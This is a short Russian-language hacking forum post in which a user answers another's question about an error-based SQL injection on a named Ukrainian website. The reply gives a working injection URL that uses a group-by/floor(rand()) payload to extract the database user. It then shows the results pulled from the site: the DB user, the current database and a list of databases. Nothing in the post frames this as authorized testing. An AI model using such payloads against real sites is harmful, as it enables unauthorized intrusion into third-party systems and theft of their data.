09.05.2013, 01:46
|
|
Участник форума
Регистрация: 13.07.2008
Сообщений: 101
С нами:
9384053
Репутация:
303
|
|
Сообщение от rogatiy
Код:
http://pfl.ua/articles/?art=1275511872
Error-Based SQL-inj, ни руками, ни морковкой не получается вывести кол-во полей, хотя MySQL вроде 5. Посредством POST запроса все проходит на ура:
http://pfl.ua/articles/?art=1275511872+or+1+group+by+concat((select+user( )),floor(rand(0)*2))+having+min(0)--+
DATA:
USERflcom_db@localhost
DBflcom_db
DB LIST:
pflcom_db
information_schema
mafpfl
pfl_db
pfl_forum
pflcom_db
|
|
|